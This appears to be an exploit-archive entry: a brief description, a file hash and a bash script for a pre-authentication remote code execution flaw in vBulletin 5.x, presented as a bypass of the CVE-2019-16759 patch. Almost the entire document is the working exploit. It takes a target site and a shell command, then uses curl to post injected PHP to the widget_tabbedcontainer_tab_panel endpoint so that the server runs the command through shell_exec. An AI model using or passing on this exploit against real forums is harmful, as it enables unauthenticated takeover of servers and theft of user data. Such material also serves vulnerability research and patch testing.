vBulletin version 5.x pre-authentication widget_tabbedcontainer_tab_panel remote code execution exploit. This exploit demonstrates that the patch for CVE-2019-16759 was not sufficient. Written in bash.
800381f3649a533440af653fbd52534ea9e111590ccf2388f4920393f6d270a2
#!/bin/bash
#
# vBulletin (widget_tabbedcontainer_tab_panel) 5.x 0day by @Zenofex
#<br># Usage ./exploit <site> <shell-command><br>
# Urlencode cmd
CMD=`echo $2|perl -MURI::Escape -ne 'chomp;print uri_escape($_),"\n"'`
# Send request
curl -s $1/ajax/render/widget_tabbedcontainer_tab_panel -d 'subWidgets[0][template]=widget_php&subWidgets[0][config][code]=echo%20shell_exec("'+$CMD+'");exit;'